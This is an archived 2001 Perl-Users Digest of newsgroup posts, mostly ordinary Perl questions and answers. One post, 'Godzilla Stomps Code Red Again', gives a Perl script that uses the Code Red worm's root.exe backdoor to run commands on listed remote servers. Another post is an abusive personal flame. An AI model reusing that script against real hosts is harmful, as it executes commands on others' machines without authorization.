[19479] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 1674 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sat Sep 1 06:05:31 2001

Date: Sat, 1 Sep 2001 03:05:11 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <999338711-v10-i1674@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Sat, 1 Sep 2001     Volume: 10 Number: 1674

Today's topics:
    Re: Beginner PERL Book <pne-news-20010901@newton.digitalspace.net>
    Re: Converting Perl to C <pne-news-20010901@newton.digitalspace.net>
    Re: Converting Perl to C <Tassilo.Parseval@post.rwth-aachen.de>
    Re: Dangerous Perl Script? <wyzelli@yahoo.com>
    Re: Dangerous Perl Script? <godzilla@stomp.stomp.tokyo>
        geting data with in two points. <michealo@ozemail.com.au>
    Re: geting data with in two points. (F. Xavier Noria)
    Re: geting data with in two points. (Martien Verbruggen)
        getting ip <mfrick@chariot.net.au>
        Godzilla Stomps Code Red Again <godzilla@stomp.stomp.tokyo>
    Re: Godzilla Stomps Code Red Again <godzilla@stomp.stomp.tokyo>
    Re: HASH question <pilsl_@goldfisch.at>
        help with wierd sort problem <prlawrence@lehigh.edu>
    Re: help with wierd sort problem <pschnell@touchpowder.com>
        home directory in use lib (Marty Jones)
    Re: home directory in use lib <pne-news-20010901@newton.digitalspace.net>
    Re: how to do 'c' - 'a' = 2 in perl? <pne-news-20010901@newton.digitalspace.net>
        I get all links, but no not want the picture links (confused)
    Re: I get all links, but no not want the picture links <tony_curtis32@yahoo.com>
    Re: I get all links, but no not want the picture links <comdog@panix.com>
    Re: MultiThread with fork? <no@mail.addr>
    Re: MultiThread with fork? <no@mail.addr>
    Re: multithreaded LWP (Randal L. Schwartz)
    Re: Pattern matching, grabing everything right of the m <pne-news-20010901@newton.digitalspace.net>
        Pause for time. <kempe@uclink4.berkeley.edu>
    Re: Pause for time. <kyros.ironforge@yahoo.com>
    Re: perl & ldap & userpw <bryan.casto@home.com>
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Sat, 01 Sep 2001 09:43:08 +0200
From: Philip Newton <pne-news-20010901@newton.digitalspace.net>
Subject: Re: Beginner PERL Book
Message-Id: <ob31ptsctvnl4bl5lts8ni28inacgp24vk@4ax.com>

On Tue, 28 Aug 2001 15:39:19 -0600, "Paris Bookstore"
<parisbookstore@qwest.net> wrote:

> I started out with Elizabeth Castro's "Perl and CGI for the Worldwide Web -
> Visual Quickstart Guide" and it did me great for getting up and running
> quickly.

I'm told that the second edition of this book is a lot better than the
first, which should be avoided. I don't know the absolute quality of the
book, though.

Cheers,
Philip
-- 
Philip Newton <nospam.newton@gmx.li>
That really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.


------------------------------

Date: Sat, 01 Sep 2001 09:43:09 +0200
From: Philip Newton <pne-news-20010901@newton.digitalspace.net>
Subject: Re: Converting Perl to C
Message-Id: <io31pt0njb6hlr85ni9os6ervsm646d58o@4ax.com>

On Thu, 30 Aug 2001 13:57:31 +0400, "Oleg Bogumirsky"
<oleg_b@newmail.ru> wrote:

> i mean to convert Perl source to C/C++ source, so I could compile
> this C source with c compiler.

And why do you want to do that?

Cheers,
Philip
-- 
Philip Newton <nospam.newton@gmx.li>
That really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.


------------------------------

Date: Sat, 01 Sep 2001 09:43:43 +0200
From: Tassilo von Parseval <Tassilo.Parseval@post.rwth-aachen.de>
Subject: Re: Converting Perl to C
Message-Id: <3B9091AF.7060104@post.rwth-aachen.de>

Philip Newton wrote:

> On Thu, 30 Aug 2001 13:57:31 +0400, "Oleg Bogumirsky"
> <oleg_b@newmail.ru> wrote:
> 
> 
>>i mean to convert Perl source to C/C++ source, so I could compile
>>this C source with c compiler.
>>
> 
> And why do you want to do that?

Oh, there may be reasons for doing that, be it for the sake of writing a 
closed-source program or just being able to run this particular program 
on a similar machine having no Perl interpreter by its hand.

perlcc -c file.pl should in theory be able to do write a C-file. Yet, 
Ilya mentioned this once and I made the same experiences, it hardly ever 
works. I once tried to compile a script of about 20K using a few 
modules. After about 15 minutes I killed the cc-process. I saw that my 
/tmp directory had been filled with two notably large files of about 
15MB containing assembly code. I am still not sure whether the compiler 
would have ever finished hadn't I killed it.

Tassilo
-- 
$a=[(74,116)];$b=[($a->[1]-1,$a->[1]++,0x20)];$c=[(97,110)];$d=[($c->
[1]+1,$b->[1],"her")];for(@{[$a,$b,$c,$d]}){for(@{$_}){$_=~/\d+/?print
(chr($_)):print;}}$c=sub{$l=shift;[(0x20+$l-1,0x50,0x65,0x73-0x01,108
),(0x20,0x68,0x61,)]};print(map{chr($_)}@{($c->(1))});$h={a=>33*3,b=>
10**2+7,c=>"1"."0"."1",d=>0162};@h=sort(keys(%$h));for(@h){print(chr(
ord(chr($h->{$_}))))};



------------------------------

Date: Sat, 1 Sep 2001 14:42:53 +0930
From: "Wyzelli" <wyzelli@yahoo.com>
Subject: Re: Dangerous Perl Script?
Message-Id: <F1_j7.3$lI4.470@wa.nnrp.telstra.net>

"Godzilla!" <godzilla@stomp.stomp.tokyo> wrote in message
news:3B8F35E7.762DD82B@stomp.stomp.tokyo...
> Wyzelli wrote:
>
> > Whilst it would be expected that direct coding would run significantly
> > faster that CGI.pm, and that would never be disputed, even on your
computer
> > the difference as perceived by the end-user of a web page is so small as
to
> > be invisible.  By that I mean the run time of a single instance of your
> > example is in the order of 1.27 milliseconds,
>
> You have made a presumption benchmark results, event times
> in general, can be linear extrapolated. This is display of
> how little you know about good Scientific Method and how
> little you know about Mathematical calculations.
>
Actually, that was an INTERPOLATION, not an extrapolation.

> > Even with 100,000 hits on this script, you would only save 119 seconds
of
> > run time, over a period of 'however long it takes to do 100,000 hits'.
>
> How ironic. Last year you and many others ragged on me for a week
> claiming examples of sites experiencing millions of hits per day
> and how important it is to optimize code to the max.

Millions of hits per day does make a difference when compared to 100,000
hits over a week or longer period.  The point is that there are generally
much more significant areas of savings in performance that the 1.2 ms
offered by not using CGI.pm.

> Today you are claiming just the opposite.

Bollocks.

<snip>

Followed by lots of pathetic manure slinging.

Wyzelli
--
@x='074117115116032097110111116104101114032080101114108032104097099107101114
'=~/(...)/g;
print chr for @x;




------------------------------

Date: Fri, 31 Aug 2001 23:35:59 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: Dangerous Perl Script?
Message-Id: <3B9081CF.4F9C8784@stomp.stomp.tokyo>

Wyzelli wrote:
 
> Godzilla! wrote:
> > Wyzelli wrote:

> > You have made a presumption benchmark results, event times
> > in general, can be linear extrapolated. This is display of
> > how little you know about good Scientific Method and how
> > little you know about Mathematical calculations.

> Actually, that was an INTERPOLATION, not an extrapolation.
 
Your sore lack of a good vocabulary, your less than acceptable
reading and writing skills along with many other noticable
personal traits and personal idioms which are observed by
me and unnoticed by all others, these things always beguile
you as the CLPM Troll. After all, I am a professor of English
and, an English teacher seasoned by decades of experience.
Language is my mastery.

You should take time to read the Good Book, a dictionary.

Wash your hands and give your unkempt fingernails a good
scrubbing first, both are stained with mule manure.

Interpolation!

* maniacal laughter *

Say, do you recall saying to a group of us women,

"Computers are so easy to use today, even the ladies can use them."

There are two traits you have, two of many sociopathic traits of
yours, you can never conceal; sexism and racism. However, your
true albatross, your true bane, is your ego.

I would enjoy launching into a dissertation touching upon
this topic of your myriad sociopathic traits and, how those
traits always unmask you. However, your reading skills are
such, you wouldn't comprehend half of what I would say.
Nonetheless, this does work to my advantage.

Interpolation! How F'n funny! This is even more funny than
my precision con job, direly motivating you to post your
stupid newsgroup FAQ, as Tad McCellan, to save face and,
to bend the knee before your master, your ego.

Hey! Whatever happened to Larry Rosler?  * laughs * 

As always, as over all these years, as now, your mind is mine.

Make use of a lexicon. You will be a better troll for it, Frank.


Godzilla!  Queen Of Mind Munchers.


------------------------------

Date: Sat, 1 Sep 2001 17:02:09 +1000
From: "nathan" <michealo@ozemail.com.au>
Subject: geting data with in two points.
Message-Id: <0J%j7.1261$V83.71371@ozemail.com.au>

is there a way to get data from a two points in perl example
lalalala
<start>
yeah
<end>
lalalalalla

and get the information inbetween those two point's?




------------------------------

Date: 1 Sep 2001 08:46:33 GMT
From: fxn@retemail.es (F. Xavier Noria)
Subject: Re: geting data with in two points.
Message-Id: <9mq799$26f6r2@news1s.iddeo2.es>

On Sat, 1 Sep 2001 17:02:09 +1000, nathan <michealo@ozemail.com.au> wrote:

: is there a way to get data from a two points in perl example
: lalalala
:<start>
: yeah
:<end>
: lalalalalla

Yeah, if $text contains the whole document and you are interested
just in the first occurrence of an <start>/<end> pair

   ($data) = $text =~ /<start>(.*)?<end>/s;

assigns `yeah' to $data, and if there are more instances of those
delimiters and you want to catch all of them

   @data = $test =~ /<start>(.*)?<end>/sg;

puts all the `yeah's in the array @data in the same order as they
appear in $text.

You could do it manually with substr as well, looping over $text
searching for <start> and <end> and working with indexes.

-- fxn


------------------------------

Date: Sat, 1 Sep 2001 19:47:05 +1000
From: mgjv@tradingpost.com.au (Martien Verbruggen)
Subject: Re: geting data with in two points.
Message-Id: <slrn9p1bkp.3ga.mgjv@martien.heliotrope.home>

On Sat, 1 Sep 2001 17:02:09 +1000,
	nathan <michealo@ozemail.com.au> wrote:
> is there a way to get data from a two points in perl example
> lalalala
><start>
> yeah
><end>
> lalalalalla

I _think_ you are asking about how to pull the text between those two
markers out of a file, right? Your question is so incredibly vague and
underspacified that it's hard to understand what exactly you're asking. 

I think that you might find one of the questions in the Perl FAQ,
section 6 handy:

       How can I pull out lines between two patterns that are
       themselves on different lines?

next time, _please_ check the FAQ yourself before posting. it's
installed with all the other Perl documentation on any system that Perl
is installed on.

Martien
-- 
Martien Verbruggen              | 
Interactive Media Division      | Useful Statistic: 75% of the people
Commercial Dynamics Pty. Ltd.   | make up 3/4 of the population.
NSW, Australia                  | 


------------------------------

Date: Sat, 1 Sep 2001 17:30:00 +0930
From: "Matthew Frick" <mfrick@chariot.net.au>
Subject: getting ip
Message-Id: <3b9094b7$1_4@news.chariot.net.au>

I have a webpage calling a script on another server and I need the script to
be able to get the ip of the webpage not of the person navigating. Does
anyone know how I would go about this??

--
___________________________________________________________
                -  l e a r n . e d   s o l u t i o n s   p t y   l t d  -

Matthew Frick                            Systems Administrator / Programmer
www.learnedsolutions.com                     mfrick@learnedsolutions.com

    Level 1, 214 Greenhill Road, EASTWOOD, South Australia 5063
      Phone: +61 8 8272 3111 (Ext. 643)      Fax: +61 8 8272 3211
___________________________________________________________
                                  E-mail Disclaimer:
               http://www.learnedsolutions.com/disclaimer.html
___________________________________________________________





------------------------------

Date: Fri, 31 Aug 2001 20:18:40 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Godzilla Stomps Code Red Again
Message-Id: <3B905390.58024D68@stomp.stomp.tokyo>

This is a research and development beta script.
Use it at your own risk. Usual warnings apply;
Some administrators may not like what happens.

In theory, this script should broadcast a typical
pop-up window on all active monitors at a code red
infected server. This may anger some people.

Modify my $user_agent and $message to whatever
you like. Be nice though.

My @Array_IP_Addr should be populated with those
servers you wish to contact. This script, of course,
can be modified to accept command line arguments.

Run those tests you can before usage. This may or
may not work, depending on configuration of a
remote server.

Use this with caution. Some may view use of this
script as an attempt at hacking.


Godzilla!  Queen Of Perl Heretics.
--


Word wrap will certainly wrap $message.
Be sure $message is one single long line; no newlines.



#! perl

use LWP::UserAgent;

my ($user_agent) = new LWP::UserAgent;
$user_agent -> agent ("Godzilla Code Red Stomper");

my ($time, $request, $response);


#### list ip addresses in this array:

my (@Array_IP_Addr) = qw (list ip address or addresses);


my ($message) = "c+net+send+localhost+GODZILLA+CODE+RED+WORM+STOMPER.+YOUR+COMPUTER+ATTEMPTED+TO+INFECT+MY+SERVER+GO+TO+MICROSOFT+FOR+A+PATCH.+http://www.microsoft.com/technet/security/bulletin/MS01-044.asp";

foreach $ip_addr (@Array_IP_Addr)
 {
  $time = scalar localtime(time);
  print "$time \n  Contacting $ip_addr\n\n";
  $request = new HTTP::Request (GET => "http://$ip_addr/scripts/root.exe?/c+dir+root.exe");
  $response = $user_agent -> request($request);
  if ($response -> is_success)
   {
    $time = scalar localtime(time);
    print "$time \n  $ip_addr successfully entered. \n  Attempting to send message.\n\n";
    $request = new HTTP::Request (GET => "http://$ip_addr/scripts/root.exe?/$message");
    $response = $user_agent -> request($request);
    if ($response -> is_success)
     { 
      $time = scalar localtime(time);
      print "$time \n  Message sucessfully sent to $ip_addr\n\n";
     }
   }
  else
   {
    $time = scalar localtime(time);
    print "$time \n  $ip_addr Entry Failed \n\n";
   }
 }

exit;


------------------------------

Date: Fri, 31 Aug 2001 20:28:55 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: Godzilla Stomps Code Red Again
Message-Id: <3B9055F7.C8B380B8@stomp.stomp.tokyo>

Godzilla! wrote:

>       print "$time \n  Message sucessfully sent to $ip_addr\n\n";

  "successfully"

Godzilla!  Queen Of Red Line Pencils.


------------------------------

Date: Sat, 1 Sep 2001 09:48:56 +0200
From: peter pilsl <pilsl_@goldfisch.at>
Subject: Re: HASH question
Message-Id: <3b9092ea@e-post.inode.at>

Jon Ericson wrote:


> 
> I'm writing to you personally because I don't want to clutter up clpm
> with private advice.  I am not in anyway an authority in this
> newsgroup (if you check the archives, I hardly ever post here), but I
> am an active reader.
>

If you check the archives, I post regulary to many groups. I totally 
disagree with you in your opinion. Newsgroups are not the place, where 
people ask question and gets ready answers, instruction and 
How-To-documents.
If someone asks a question and I think I can contribute a bit to the 
solution, I'll post this bit. But I really dont spend hours with it.
I give hints and ideas. If I refer to a module 'Dumper' this should be 
enough to find on CPAN. 

You seem to know a lot, but hardly ever post and so noone can share your 
knowledge. This is *not* the meaning of usenet.
Of course the is a qualitiy-standard, but imho its not half as high as you 
recommend.

The funny thing is, instead of contributing to the solution of a problem 
you criticize other people doing so ... :)

post yourself and fullfil your requirements

peter
 

-- 
mag. peter pilsl
pilsl_@goldfisch.at
http://www.goldfisch.at



------------------------------

Date: Sat, 1 Sep 2001 00:05:14 -0400
From: "Phil R Lawrence" <prlawrence@lehigh.edu>
Subject: help with wierd sort problem
Message-Id: <9mpn3c$bee@fidoii.CC.Lehigh.EDU>

I've worked on this all day, but I could use some help, at least
conceptually.  How would you try to sort a list of hashrefs such as
following example (layed out in table form for easy reading):

ID FROM TO    (These are the Keys)
1 B X
2 C B
3 D B
4 X Y
5 B D

They need to be ordered such that the progression of TO and FROMs link
correctly.
In this case the answer is 2,5,3,1,4.

But how to do this sorting programmatically on any given list of hashrefs
(not to exceed 6 or so)?  Ideas?

If you care to look, the following is a brief go at my attempt.  Perhaps it
is fatally flawed, however.  I'm *really* open to a new ideas!

My attempt thus far has been to sort into a lookup hashref like so:

B =>FR=>(1,5)
B=>TO=>(2,3)
C=>FR=>(2)
C=>TO=>()
D=>FR=>(3)
D=>TO=>(5)
X=>FR=>(4)
X=>TO=>(1)
Y=>FR=>()
Y=>TO=>(4)

and then look for obvious beginning ID (found at LOCATION with missing TO)
In this case there is such an ID... 2
     ... push @beg, 2
2 goes from C to B, but there are two possible IDs that go from there (1 and
5).  Dead end.

next I look for an obvious end ID (found at LOCATION with missing FROM)
In this case there is one... 4
    ... unshift @end, 4
4 tracks back from Y to X, and the only possible next step back is 1
    ... unshift @end, 1

1 tracks back from X to B, and since we already used 2 as our start,
so the only possible way further back is 3
    ... unshift @end, 3

3 tracks back from B to D, leading to 5
    ... unshift @end, 5

which is the end of the road.

push @ordered, @beg
push @ordered, @end
$finish++ #!

Of course the code I wrote to do this is too complex (i.e. doesn't yet
work), and also the hashrefs to be ordered may not actually line up, and
also there may be no clean start and end ID (i.e. no blank values in lookup
hashref's TO or FR).  :-(


Thanks for any insight,
Phil R Lawrence




------------------------------

Date: Sat, 1 Sep 2001 09:45:38 +0100
From: "Paul Schnell" <pschnell@touchpowder.com>
Subject: Re: help with wierd sort problem
Message-Id: <Ea1k7.4937$QG.2169625@monolith.news.easynet.net>


"Phil R Lawrence" <prlawrence@lehigh.edu> wrote in message
news:9mpn3c$bee@fidoii.CC.Lehigh.EDU...
> I've worked on this all day, but I could use some help, at least
> conceptually.  How would you try to sort a list of hashrefs such as
> following example (layed out in table form for easy reading):
>
> ID FROM TO    (These are the Keys)
> 1 B X
> 2 C B
> 3 D B
> 4 X Y
> 5 B D
>
> They need to be ordered such that the progression of TO and FROMs link
> correctly.
> In this case the answer is 2,5,3,1,4.
>

Seems to me the tricky part is knowing where to start the trace. To achieve
the desired result above you need to start at ID = 2. The code below works
for your
given example BUT will more than likely only work if you have no more than 2
duplicate FROM keys: in your example 1 => B, 5 => B. Its not pretty but
may get you started on an idea.

Basically it tests all possible routes for each ID and assumes a correct
route when the result is as long as the number of start ID's. I'm assuming
also that all you want is the 'answer' - you can then do TO and FROM
lookups with the results.

Good luck
Paul

my %in = (
  '1' => {
           'FROM' => 'B',
           'TO' => 'X'
         },
  '2' => {
           'FROM' => 'C',
           'TO' => 'B'
         },
  '3' => {
           'FROM' => 'D',
           'TO' => 'B'
         },
  '4' => {
           'FROM' => 'X',
           'TO' => 'Y'
         },
  '5' => {
           'FROM' => 'B',
           'TO' => 'D'
         }
);


my (%mem,@out);
# run the trace for all ids
# as we don't know where to start
foreach my $id ( keys %in)  {
    @out = ();
    my @result = trace($id);
    # if the traced route is the length
    # of the ids it is a 'complete' route
    if(@result == keys %in){
        print "START: $id = @result \n";
    }
}


sub trace {
    my $id = shift;
    return @out unless $id;
    push @out, $id;
    # get possible ids whose 'FROM' value equals input id 'TO' value
    my @ms = grep { $in{$_}{FROM} eq $in{$id}{TO} } keys %in;
    # remember the last id of input 'TO'
    $mem{$in{$id}{TO}} = $id;
    # if there are multiple 'FROM' matches
    if( @ms > 1){
        # if the last in the array is in %mem: use first
        if($ms[-1] eq $mem{$in{$id}{FROM}}){
            trace($ms[0]);
        }
        # use last element if it is not in memory
        else {
            trace($ms[-1]);
        }
    }
    # if there is only 1 possible match
    else {
        trace($ms[0]);
    }
}




------------------------------

Date: 31 Aug 2001 22:01:22 -0700
From: jones1ai14@yahoo.com (Marty Jones)
Subject: home directory in use lib
Message-Id: <cb844878.0108312101.4c77a331@posting.google.com>

Greetings,

I tried to set up an additional directory for my perl libraries on a
machine I don't have write access to /usr/local/lib/perl.

So, I first tried this:

#!/usr/bin/perl -w

use lib "~jones/perl/lib";
use MyLib;


But perl complains it can find MyLib in ( /perl/lib, .... ).
It didn't convert the ~jones to /export/home/jones.

So, then I decided to try this:

#!/usr/bin/perl -w
my $home = (getpwnam('jones'))[7];
use lib "$home/perl/lib";
use MyLib;

But again, perl complained it could not find MyLib in /perl/lib.

Finally, I came up with:

#!/usr/bin/perl -w
use lib (getpwnam('jones'))[7] . "/perl/lib";
use MyLib;

And that worked.

I think my second attempt didn't work because perl wasn't evaluating
the line 'my $home = (....' until after it tried to load MyLib.

After more searching of perldoc pages, I came across BEGIN. So I did:

#!/usr/bin/perl

BEGIN { $home = (getpwnam('jones'))[7]; }
use lib "$home/perl/lib";
use MyLib;


My question is: is there a "slicker" or cleaner way to do this?
Am I violating any perl principles assigning a value to $home within
the BEGIN block the way I did?

Also, why doesn't perl expand the ~jones within the use directive?


Any thoughts on this would be great.

Marty J.


------------------------------

Date: Sat, 01 Sep 2001 09:43:10 +0200
From: Philip Newton <pne-news-20010901@newton.digitalspace.net>
Subject: Re: home directory in use lib
Message-Id: <du31ptsqsj7qvsdufud41j5headbu1fube@4ax.com>

On 31 Aug 2001 22:01:22 -0700, jones1ai14@yahoo.com (Marty Jones) wrote:

> I think my second attempt didn't work because perl wasn't evaluating
> the line 'my $home = (....' until after it tried to load MyLib.

Correct, because 'use' happens at compile time, and your variable
assignment happened at run time.

> #!/usr/bin/perl
> 
> BEGIN { $home = (getpwnam('jones'))[7]; }
> use lib "$home/perl/lib";
> use MyLib;
> 
> My question is: is there a "slicker" or cleaner way to do this?

Yes -- using '-w' and 'use strict'. In which case, you'll have to
predeclare your variable $home before you can use it.

(If you don't expect your home directory to change, you could also
hard-code it. But looking it up at compile time is probably more
portable, assuming your username will not change.)

> Am I violating any perl principles assigning a value to $home within
> the BEGIN block the way I did?

Not in my opinion.

> Also, why doesn't perl expand the ~jones within the use directive?

Because it's not a shell? It doesn't expand * or ? in filenames, either
(at least not automatically). You can't open '/etc/pa*wd' and read from
/etc/passwd, even if that's the only file matching that glob.

Cheers,
Philip
-- 
Philip Newton <nospam.newton@gmx.li>
That really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.


------------------------------

Date: Sat, 01 Sep 2001 09:43:09 +0200
From: Philip Newton <pne-news-20010901@newton.digitalspace.net>
Subject: Re: how to do 'c' - 'a' = 2 in perl?
Message-Id: <sd31ptksjihocs7t01vfmc3c4ilqmauklb@4ax.com>

On Tue, 28 Aug 2001 17:34:05 +0200, Kristian Fischer
<kristian.fischer@koehlershohn.de> wrote:

> perl -e 'print (ord(c) - ord(a))'

OK, and now try perl -Mstrict -e 'print (ord(c) - ord(a))'.

Cheers,
Philip
-- 
Philip Newton <nospam.newton@gmx.li>
That really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.


------------------------------

Date: 31 Aug 2001 18:22:50 -0700
From: thing2b@yahoo.com (confused)
Subject: I get all links, but no not want the picture links
Message-Id: <53a7a4f1.0108311722.72b47e41@posting.google.com>

I am using the code below to get a random link from a webpage. The
problem is that this gives any random link, pictures or to html. How
do i use this to only get links to other text pages?

$parser = HTML::LinkExtor->new(undef, $url);
$parser->parse(get($url))->eof;
@links = $parser->links;

foreach $linkarray (@links) {
    @element = @$linkarray;
    $elt_type = shift @element;
    while (@element) {
	($attr_name, $attr_value) = splice(@element, 0, 2);
	$seen{$attr_value}++;
    }
}
@links=keys %seen;
$erer = $links[rand @links],"\n";
print $erer;


------------------------------

Date: 31 Aug 2001 20:39:23 -0500
From: Tony Curtis <tony_curtis32@yahoo.com>
Subject: Re: I get all links, but no not want the picture links
Message-Id: <87y9nzofjo.fsf@limey.hpcc.uh.edu>

>> On 31 Aug 2001 18:22:50 -0700,
>> thing2b@yahoo.com (confused) said:

> I am using the code below to get a random link from a
> webpage. The problem is that this gives any random link,
> pictures or to html. How do i use this to only get links
> to other text pages?

> [snip]

You'll have to use LWP (perldoc lwpcook) to actually GET
(or HEAD) the link to see if you get a return content-type
which you'll accept as being text.

hth
t
-- 
Yes way!  Mmmmkay?


------------------------------

Date: Sat, 01 Sep 2001 00:20:38 -0400
From: brian d foy <comdog@panix.com>
Subject: Re: I get all links, but no not want the picture links
Message-Id: <comdog-6728F3.00203801092001@news.panix.com>

In article <53a7a4f1.0108311722.72b47e41@posting.google.com>, 
thing2b@yahoo.com (confused) wrote:

> I am using the code below to get a random link from a webpage. The
> problem is that this gives any random link, pictures or to html. How
> do i use this to only get links to other text pages?

use HTML::SimpleLinkExtor to extract the links from a 
particular tag. :)

-- 
brian d foy <comdog@panix.com> - Perl services for hire
CGI Meta FAQ - http://www.perl.org/CGI_MetaFAQ.html
Troubleshooting CGI scripts - http://www.perl.org/troubleshooting_CGI.html



------------------------------

Date: Sat, 01 Sep 2001 09:28:34 +0800
From: MMX166+2.1G HD <no@mail.addr>
Subject: Re: MultiThread with fork?
Message-Id: <qr8votskror9rnhs7bqh4j05tt4137vmnp@4ax.com>

On Thu, 30 Aug 2001 01:40:30 -0400, in comp.lang.perl.misc Benjamin
Goldberg <goldbb2@earthlink.net> wrote:
>for( 1 .. $nkids ) {
>	defined(my $pid = fork) or die ...;
>	if( $pid ) {
>		push @kids, $pid;
>		next;
>	}

Great! I think I understand it. am I right?:
fork clones a process as current process's child, the steps are:

current(outer):			child:(inner)
 .......
$pid=fork	clone,create	#start at the same point
				$pid == 0 means this is the child
				do ... until exit
#fork returns
the $pid equals the 
child's $$


------------------------------

Date: Sat, 01 Sep 2001 09:28:37 +0800
From: MMX166+2.1G HD <no@mail.addr>
Subject: Re: MultiThread with fork?
Message-Id: <q9c0pt8grk3etkia7j3r11jpe8bqpi8obc@4ax.com>

On Thu, 30 Aug 2001 01:40:30 -0400, in comp.lang.perl.misc Benjamin
Goldberg <goldbb2@earthlink.net> wrote:
>for( 1 .. $nkids ) {
>	defined(my $pid = fork) or die ...;
>	if( $pid ) {
>		push @kids, $pid;
>		next;
>	}
>	my $start = int( $_ * $size / $nkids );
I've understanded the fork, but few questions still confuse me. could
u help me?:
first: we set the return value to a variable, say $pid, so it'a a
scalar in program like the others. I know fork clones the current
process's memory image as a new child process, so the variable are all
cloned from father's, they shall be the same at the first. but that's
not the truth. as you wrote, the $pid is 0 inside child, and it's
child's pid inside the father, why they are different?

second: what steps does fork execute? I found that in my win98:
when it executes fork, it creates a process, then the control is
passed to the child, during the child's executing, the father keeps
waiting until the child exit. it looks like a normal function call not
a multi-process. for example:
>defined($pid=fork()) || die ;
>if ($pid==0) {
>	sleep 2;
>	print "I am 0, my pid is ",$$,"\n";
>}else {
>	print "create a $pid\n";
>}
result is: the whole program wait 2 seconds and then prints
>I am 0, my pid is -225845
>create a -225845
that why I think the father waits for child's execute until the child
exit. is this true in unix? regardless what unix does, i my win98, if
fork executes as a function call, why do I use it? I can write a sub
and call it simply. so that's a other question: why does perl not
support thread directly in win32 platform. portable is not a excuse.
Java supports thread and works well. maybe the authors think perl is
just a script that don't need multi-thread. sigh


------------------------------

Date: 31 Aug 2001 20:40:12 -0700
From: merlyn@stonehenge.com (Randal L. Schwartz)
Subject: Re: multithreaded LWP
Message-Id: <m1bskvlgtf.fsf@halfdome.holdit.com>

>>>>> "Les" == Les Ander <citykid@nospam.edu> writes:

Les> Can some one give me an simple example of using threads for making such
Les> LWP  requests?

Yeah, take a look at my parallel kid manager, wrapped around
an LWP task (link verification) at

        <http://www.stonehenge.com/merlyn/LinuxMag/col15.html>
        <http://www.stonehenge.com/merlyn/LinuxMag/col16.html>

-- 
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!


------------------------------

Date: Sat, 01 Sep 2001 08:44:16 +0200
From: Philip Newton <pne-news-20010901@newton.digitalspace.net>
Subject: Re: Pattern matching, grabing everything right of the match
Message-Id: <so01ptkth3ar7ubn6ur51l4692sgec6ji7@4ax.com>

On 30 Aug 2001 08:23:47 -0700, merlyn@stonehenge.com (Randal L.
Schwartz) wrote:

> >>>>> "Steve" == Steve McDonald <steve_mcdonald@choicehotels.com> writes:
> 
> Steve> Thanks! the .* worked great!
> 
> Presuming you have no newlines then.  For that, you either need
> something easy to understand like /[\0-\377]*/, or hard to understand
> like /(?s).*/ or /.*/s .

$ perl -le 'if("\x{20ac}" =~ /^[\0-\377]*\z/) { print "Match!" } else {
print "No match." }'
No match.
$ perl -le 'if("\x{20ac}" =~ /^.*\z/s) { print "Match!" } else { print
"No match." }'
Match!

Cheers,
Philip
-- 
Philip Newton <nospam.newton@gmx.li>
That really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.


------------------------------

Date: Fri, 31 Aug 2001 18:51:52 -0700
From: Julia Kempe <kempe@uclink4.berkeley.edu>
Subject: Pause for time.
Message-Id: <3B903F38.CF8CC061@socrates.berkeley.edu>

How do I make perl pause between steps in a program?

For example, I want it to output a series of notices, but with a, say,
one or two second pause in between. Is there some sort of pause for time
funtion I can invoke, or any module I can use??

Antonio.



------------------------------

Date: Sat, 01 Sep 2001 04:07:12 GMT
From: "Martin" <kyros.ironforge@yahoo.com>
Subject: Re: Pause for time.
Message-Id: <Q9Zj7.106446$7h.19076739@news2.rdc1.bc.home.com>

The command you are looking for is sleep.

perldoc -f sleep

"Julia Kempe" <kempe@uclink4.berkeley.edu> wrote in message
news:3B903F38.CF8CC061@socrates.berkeley.edu...
> How do I make perl pause between steps in a program?
>
> For example, I want it to output a series of notices, but with a, say,
> one or two second pause in between. Is there some sort of pause for time
> funtion I can invoke, or any module I can use??
>
> Antonio.
>




------------------------------

Date: Sat, 01 Sep 2001 02:41:11 GMT
From: "Bryan J. Casto" <bryan.casto@home.com>
Subject: Re: perl & ldap & userpw
Message-Id: <bVXj7.156823$EP6.44541047@news1.rdc2.pa.home.com>

 ...snip...
> ...
> $adsUser->{HomeDirectory}   = $HomeDirectory;
> $adsUser->{HomeDrive}       = $HomeDrive;
> $adsUser->{SetPassword}     = $SetPassword;
> $adsUser->SetInfo();

try
$adsUser->SetPassword($password);

> The user has been created and all attributes are ok, except the
> SetPassword-Attribute. If I try to login as that user it works not with
the
> given password but with an empty password it does.
> Where ist the mistake? Any idea?
> Thanks
> Henry
>

HTH

Bryan
bryan.casto@nospam.marshall.edu




------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
